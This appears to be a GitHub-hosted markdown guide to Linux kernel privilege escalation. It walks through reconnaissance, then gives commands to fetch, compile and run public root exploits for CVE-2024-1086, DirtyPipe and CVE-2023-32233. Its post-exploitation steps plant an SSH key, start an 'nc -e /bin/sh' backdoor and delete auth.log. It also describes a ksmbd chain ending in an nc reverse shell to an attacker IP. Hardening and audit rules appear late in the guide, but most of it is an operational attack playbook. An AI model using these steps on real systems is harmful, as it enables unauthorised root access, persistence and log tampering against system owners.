Skip to content

Latest commit

 

History

History
685 lines (466 loc) · 19 KB

File metadata and controls

685 lines (466 loc) · 19 KB

Complete Methodologies for Linux Kernel Exploitation

Chapter 1: The Attacker's Methodology - A Complete Workflow

Before diving into specific exploits, understanding the full attack chain is essential. A typical kernel privilege escalation attack follows a structured methodology that applies across nearly all vulnerabilities .

Phase 1: Reconnaissance and Enumeration

The first step is gathering intelligence about the target system. This is critical because exploit success often depends on specific kernel versions and configurations.

Basic System Information Gathering:

# Identify the kernel version (primary vulnerability indicator)
uname -a
# Example output: Linux target 5.15.0-86-generic #96-Ubuntu SMP

# Check the operating system and version
cat /etc/os-release

# Display system architecture
uname -m

# List loaded kernel modules
lsmod

# Check enabled kernel security features
cat /proc/cpuinfo | grep -E "smep|smap|pti"

Identifying Potential Exploit Vectors:

# Check for SUID binaries (common privilege escalation vector)
find / -perm -u=s -type f 2>/dev/null

# List sudo privileges for current user
sudo -l

# Find world-writable files owned by root
find / -perm -2 -type f -user root 2>/dev/null

# Check for cron jobs
cat /etc/crontab
ls -la /etc/cron*

# Examine recently modified files (potential persistence mechanisms)
find / -type f -mtime -1 2>/dev/null | grep -v /proc/

Using Automated Enumeration Tools:

# Linux Exploit Suggester (checks kernel version against known exploits)
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# LinPEAS (comprehensive privilege escalation auditing)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Phase 2: Vulnerability Confirmation

Once you identify a potentially vulnerable kernel version, you must confirm the vulnerability exists and is reachable.

Checking Vulnerability-Specific Conditions:

# For CVE-2024-1086 (nf_tables) - check if user namespaces are enabled
cat /proc/sys/kernel/unprivileged_userns_clone
# Returns 1 = vulnerable configuration (enabled)

# For io_uring vulnerabilities - check if io_uring is available
cat /proc/filesystems | grep io_uring
ls /dev/io_uring* 2>/dev/null

# For eBPF exploits - check unprivileged BPF status
cat /proc/sys/kernel/unprivileged_bpf_disabled
# Returns 0 = unprivileged BPF enabled (dangerous)

# Check for OverlayFS support
cat /proc/filesystems | grep overlay

Phase 3: Exploit Acquisition or Development

Based on the confirmed vulnerability, you need a working exploit. Sources include:

  1. Public Proof-of-Concept (PoC) repositories on GitHub
  2. Exploit databases (Exploit-DB, Packet Storm)
  3. Custom development based on vulnerability analysis
  4. Frameworks like Metasploit

Phase 4: Exploit Execution and Privilege Escalation

Run the exploit to gain root access. This typically involves:

  1. Compiling the exploit code
  2. Executing with appropriate permissions
  3. Triggering the vulnerability
  4. Obtaining a root shell

Phase 5: Post-Exploitation and Persistence

After achieving root access:

  1. Establish persistence (backdoors, cron jobs, SSH keys)
  2. Cover tracks (clear logs, remove exploit artifacts)
  3. Lateral movement to other systems
  4. Data exfiltration

Chapter 2: CVE-2024-1086 - The nf_tables Double-Free Exploit

Vulnerability Overview

CVE-2024-1086 is a critical use-after-free/double-free vulnerability in the netfilter nf_tables component of the Linux kernel. It was introduced around 2014 and affects kernels from version 3.15 to 6.8 .

Technical Root Cause: The vulnerability exists in the nft_verdict_init() function, which improperly allows positive values to be used as a drop error within the hook verdict. When NF_DROP is issued with a drop error that resembles NF_ACCEPT, the nf_hook_slow() function triggers a double-free of packet structures .

Real-World Impact: This vulnerability has been observed in actual ransomware campaigns, making it particularly dangerous for production systems .

Prerequisites for Exploitation

Before attempting exploitation, verify these conditions:

# 1. Check kernel version (must be between 3.15 and 6.8)
uname -r

# 2. Check if nf_tables module is loaded
lsmod | grep nf_tables

# 3. Verify unprivileged user namespaces are enabled (critical for exploitation)
cat /proc/sys/kernel/unprivileged_userns_clone
# Must return 1 for successful exploitation

# 4. Ensure CONFIG_USER_NS is enabled in kernel config
cat /boot/config-$(uname -r) | grep CONFIG_USER_NS

Complete Exploitation Walkthrough

Step 1: Download and Prepare the Exploit

# Clone the exploit repository
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086

# Examine the exploit code
cat exploit.c | head -50

Step 2: Install Compilation Dependencies

# On Debian/Ubuntu-based systems
apt update
apt install build-essential gcc make libmnl-dev libnftnl-dev

# On RHEL/CentOS-based systems
yum install gcc make libmnl-devel libnftnl-devel

Step 3: Compile the Exploit

# Compile the exploit binary
make

# Verify compilation succeeded
ls -la exploit
file exploit

Step 4: Execute the Exploit

# Run the exploit
./exploit

# If successful, you will get a root shell
# The prompt should change to #
whoami
# Output: root

Step 5: Verify Root Access

# Confirm elevated privileges
id
# Output: uid=0(root) gid=0(root) groups=0(root)

# Test root capabilities
cat /etc/shadow | head -5

Mitigation and Detection

Temporary Mitigation (if patching is delayed):

# Disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# Make persistent across reboots
echo "kernel.unprivileged_userns_clone = 0" >> /etc/sysctl.conf

Permanent Fix:

# Update kernel to patched version (6.8 or later)
apt update && apt upgrade linux-image-$(uname -r)
# Reboot to apply new kernel
reboot

Detection Indicators:

Monitor for these signs of exploitation :

  • Unusual kernel memory corruption patterns in system logs
  • Unexpected root shell spawns from non-privileged processes
  • Anomalous nf_tables rule modifications
  • Unexplained user namespace creation activity

Chapter 3: CVE-2022-0847 (DirtyPipe) - The Page Cache Exploit

Vulnerability Overview

DirtyPipe (CVE-2022-0847) affects Linux kernels from 5.8 to 5.16.11, 5.15.25, and 5.10.102. It stems from an uninitialized pipe_buffer.flags variable, allowing arbitrary file writes even to read-only or immutable files .

Technical Explanation: The vulnerability exploits the pipe buffer mechanism. By carefully crafting pipe operations, an attacker can inject data into the page cache of any file, effectively overwriting its contents without proper permission checks.

Real-World Significance: This vulnerability was particularly dangerous because it required no special capabilities, worked on read-only files, and was relatively simple to exploit reliably.

Exploitation Methodology

Method 1: Direct File Overwrite

This method allows overwriting any file on the system, including protected files like /etc/passwd.

# Download the exploit (Rust implementation)
git clone https://github.com/morgenm/dirtypipe
cd dirtypipe

# Build the exploit
cargo build --release

# Create input file with content to inject
echo "toor:\$1\$salt\$hash:0:0:root:/root:/bin/bash" > input.txt

# Execute the exploit to modify /etc/passwd
./target/release/dirtypipe_exploit -m overwrite -i input.txt -o /etc/passwd -b 1

# Switch to the newly created user
su toor

Method 2: SUID Binary Replacement (Privilege Escalation)

This method replaces an existing SUID binary with a malicious payload.

# Use the SUID mode (targets /usr/bin/passwd by default)
./dirtypipe_exploit -m suid

# Execute the replaced binary to get root shell
/usr/bin/passwd
# Expected: root shell spawns

Method 3: Custom Payload Generation

For advanced users, custom payloads can be generated:

# Generate custom shellcode using pwntools
python3 gen_suid.py

# Assemble the payload
nasm -f bin -o custom_payload loader.asm

# Use custom payload
./dirtypipe_exploit -m suid -i custom_payload -o /usr/bin/custom_target

The Original C Exploit (Technical Deep Dive)

The original exploit by Max Kellermann demonstrates the low-level mechanics :

// Key components of the DirtyPipe exploit:

// 1. Create a pipe and fill it with data
int pipefd[2];
pipe(pipefd);
for (int i = 0; i < 0x1000; i++) {
    write(pipefd[1], "X", 1);
}

// 2. Splice to create page cache references
splice(pipefd[0], NULL, fd, NULL, 0x1000, 0);

// 3. Write to the pipe buffer (triggers the vulnerability)
write(pipefd[1], data, data_size);

// The vulnerability allows this write to affect arbitrary file
// pages in the cache, bypassing permission checks

Limitations and Constraints

Understanding these limitations is crucial for successful exploitation :

  1. Offset Restriction: The write offset cannot be on a page boundary (4096-byte aligned)
  2. Page Boundary: The write cannot cross a page boundary
  3. Kernel Version Range: Only affects specific kernel versions (5.8 through 5.16.11)

Chapter 4: CVE-2023-32233 - Netfilter UAF Exploitation

Vulnerability Details

CVE-2023-32233 is a use-after-free (UAF) vulnerability discovered by researchers Patryk Sondej and Piotr Krysiuk. It affects Linux kernels from v5.1-rc1 to 6.3.1 .

Technical Root Cause: The Netfilter subsystem mishandles anonymous sets when processing batch requests that update nf_tables configuration information. This logic flaw creates a use-after-free condition that can be exploited for arbitrary kernel memory read/write.

Environment Setup for Testing

Option 1: Manual Setup

# Install required dependencies
apt update
apt install gcc libmnl-dev libnftnl-dev

# Clone the exploit
git clone https://github.com/Liuk3r/CVE-2023-32233
cd CVE-2023-32233

# Compile the exploit
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

Option 2: Pre-configured Virtual Machine

Some researchers provide ready-to-use VM images for testing :

# Download the prepared environment (if available)
# Many exploit authors provide VM images with:
# - Vulnerable kernel pre-installed
# - Compiled exploit ready to run
# - Default credentials (often username:root, password:123456)

Exploitation Steps

# Navigate to exploit directory
cd ~/CVE-2023-32233

# Run the exploit
./exploit

# Upon successful exploitation:
# - A root shell is spawned
# - The prompt changes to #
# - All capabilities become available

# Verify root access
cat /etc/shadow | grep root

Post-Exploitation Actions

After gaining root access through this exploit:

# 1. Establish persistence
echo "root:newpassword" | chpasswd
echo "ssh-rsa AAAAB3... root@attacker" >> /root/.ssh/authorized_keys

# 2. Install a backdoor
nohup nc -lvp 4444 -e /bin/sh &

# 3. Clear evidence (optional, for stealth)
history -c
rm -f /var/log/auth.log

Chapter 5: Advanced Exploit - 0-Click KSMBD RCE

The Most Sophisticated Attack Chain

A particularly impressive exploit chain was demonstrated against the ksmbd (kernel SMB3 daemon) module, achieving 0-click remote code execution by chaining two N-day vulnerabilities .

Vulnerabilities Used:

  • CVE-2023-52440: SLUB overflow in ksmbd_decode_ntlmssp_auth_blob()
  • CVE-2023-4130: Out-of-bounds heap read in smb2_set_ea()

The Complete Exploitation Chain

This attack demonstrates state-of-the-art exploitation techniques :

Phase 1: Heap Spraying

# Conceptual example of heap spraying for ksmbd
# Attacker creates multiple connections to spray kmalloc-1k and kmalloc-512 objects
connections = []
for i in range(100):
    conn = create_smb_connection(target_ip)
    connections.append(conn)
    # Each connection allocates:
    # - ksmbd_conn (kmalloc-1k)
    # - ksmbd_session (kmalloc-512)

Phase 2: Information Leak (KASLR Bypass)

Using CVE-2023-4130 (OOB read), the attacker leaks kernel heap contents to determine kernel base address.

Phase 3: Controlled Overflow

Using CVE-2023-52440, the attacker triggers a SLUB overflow that corrupts the Preauth_HashValue pointer in a ksmbd_session structure.

Phase 4: Arbitrary Free and Vtable Hijacking

The corrupted pointer enables arbitrary free operations on kmalloc-1k objects, allowing the attacker to:

  1. Free a target ksmbd_conn object
  2. Reallocate the freed memory with a forged vtable
  3. Overwrite the local_nls pointer to point to the fake vtable

Phase 5: ROP Chain Execution

The fake vtable contains ROP gadgets that execute:

call_usermodehelper("/usr/bin/nc.traditional", "-e", "/bin/sh", "attacker-ip", "16549")

Phase 6: Reverse Shell Establishment

The final payload spawns a reverse shell to the attacker's machine on port 16549.

Key Takeaways for Exploit Development

This advanced exploit chain illustrates several important techniques :

  1. Chaining vulnerabilities can achieve much more than individual bugs
  2. Heap grooming is essential for reliable exploitation
  3. Information leaks are critical for bypassing KASLR
  4. Call_usermodehelper() is a powerful post-exploitation primitive
  5. N-day vulnerabilities remain highly valuable for sophisticated attackers

Chapter 6: Testing Methodology and Lab Setup

Setting Up a Testing Environment

Virtual Machine Configuration:

# Using QEMU for kernel debugging
qemu-system-x86_64 \
  -kernel bzImage \
  -initrd initramfs.cpio.gz \
  -append "console=ttyS0 nokaslr" \
  -nographic \
  -s -S  # Enable gdb debugging

Using Pre-built Vulnerable VMs:

Many exploit authors provide ready-to-use VM images:

  • Download the vulnerable kernel VM
  • Import into VirtualBox or VMware
  • Use provided credentials (often root:password)
  • Test exploits in isolated environment

Systematic Testing Approach

Step 1: Identify Vulnerability

# Run kernel version check
uname -r

# Use exploit suggester
./linux-exploit-suggester.sh

Step 2: Verify Exploit Prerequisites

For each exploit, verify all conditions:

  • Kernel version range
  • Required kernel modules loaded
  • Security feature status (SMEP, SMAP, KASLR)
  • User namespace configuration

Step 3: Compile and Test Exploit

# Compile with debugging symbols
gcc -g -o exploit exploit.c -lmnl -lnftnl

# Run with strace for debugging
strace -f ./exploit

# Monitor kernel messages
dmesg -w | tail -f

Step 4: Verify Success

# After exploitation, verify root access
id
whoami
cat /root/.bashrc

Using Frameworks for Testing

Metasploit Framework :

# Start Metasploit
msfconsole

# Search for Linux kernel exploits
search linux/local type:exploit

# Use a specific exploit
use exploit/linux/local/cve_2024_1086_nf_tables

# Set options
set SESSION 1
set LHOST 10.0.2.4
set LPORT 4444

# Run the exploit
run

Burp Suite for Web-to-Root Chains :

While kernel exploits typically require local access, web application compromise often provides initial access:

# Configure Burp Suite proxy
# Proxy -> Options -> Add proxy listener on 127.0.0.1:8080

# Configure browser to use proxy
# Firefox -> Settings -> Network Settings -> Manual proxy

# Intercept and analyze traffic
# Proxy -> Intercept -> Turn intercept on

# Spider the target
# Target -> Site map -> Right-click -> Spider this host

# Scan for vulnerabilities
# Right-click request -> Actively scan this item

Chapter 7: Real-World Attack Patterns

Ransomware Campaign Exploitation

CVE-2024-1086 has been observed in active ransomware campaigns . The typical attack pattern follows:

  1. Initial access via phishing or vulnerable services
  2. Privilege escalation using CVE-2024-1086
  3. Lateral movement across the network
  4. Ransomware deployment with root privileges

Container Escape Chains

Container environments present unique attack surfaces. A typical escape chain:

  1. Compromise a container (vulnerable application, exposed secrets)
  2. Check kernel version and configuration
  3. Use CVE-2022-0492 (cgroup v1 release_agent) or similar
  4. Escape to host with root privileges
  5. Access other containers and host resources

Remote Exploitation Examples

The ksmbd exploit demonstrates remote kernel compromise without any user interaction (0-click) . This represents the cutting edge of kernel exploitation:

  • Target: Linux systems running SMB server with ksmbd
  • Attack vector: Network-accessible SMB port
  • Requirements: None (0-click, unauthenticated)
  • Impact: Full system compromise

Chapter 8: Detection and Mitigation Strategies

Proactive Detection

Monitoring for Exploitation Attempts:

# Monitor for unusual user namespace creation
auditctl -a always,exit -F arch=b64 -S unshare -k userns_creation

# Monitor for nf_tables rule modifications
auditctl -a always,exit -S setsockopt -k nftables_changes

# Track suspicious SUID execution
auditctl -a always,exit -F perm=x -F path=/usr/bin/passwd -k suid_execution

Log Analysis:

# Check for kernel panics (potential exploit attempts)
grep -i "kernel panic" /var/log/kern.log

# Look for out-of-memory events (heap spraying indicators)
grep -i "oom" /var/log/syslog

# Detect sudden privilege changes
grep -E "became root|new group: root" /var/log/auth.log

Mitigation Hierarchy

  1. Patch Immediately: Apply kernel updates as soon as available
  2. Disable Unnecessary Features: Disable user namespaces, io_uring, BPF if not needed
  3. Restrict Access: Limit local user accounts and their capabilities
  4. Monitor Actively: Implement detection rules for known exploit patterns
  5. Segment Networks: Limit blast radius of compromised systems

Security Hardening Checklist

# Disable unprivileged user namespaces
echo "kernel.unprivileged_userns_clone = 0" >> /etc/sysctl.conf

# Disable io_uring
echo "kernel.io_uring_disabled = 2" >> /etc/sysctl.conf

# Disable unprivileged BPF
echo "kernel.unprivileged_bpf_disabled = 1" >> /etc/sysctl.conf

# Restrict kernel pointer access
echo "kernel.kptr_restrict = 2" >> /etc/sysctl.conf
echo "kernel.dmesg_restrict = 1" >> /etc/sysctl.conf

# Apply settings
sysctl -p

Quick Reference Card

Exploit Kernel Versions Prerequisites Testing Command
CVE-2024-1086 3.15 - 6.8 unprivileged_userns_clone=1 ./exploit
CVE-2022-0847 5.8 - 5.16.11 None ./dirtypipe_exploit -m suid
CVE-2023-32233 5.1 - 6.3.1 libmnl, libnftnl gcc -o exploit exploit.c -lmnl -lnftnl && ./exploit

Essential Tools Summary

Tool Purpose Command
Linux Exploit Suggester Identify potential exploits ./linux-exploit-suggester.sh
LinPEAS Comprehensive enumeration ./linpeas.sh
Metasploit Framework exploitation msfconsole
Burp Suite Web app testing burpsuite
QEMU + GDB Kernel debugging qemu-system-x86_64 -s -S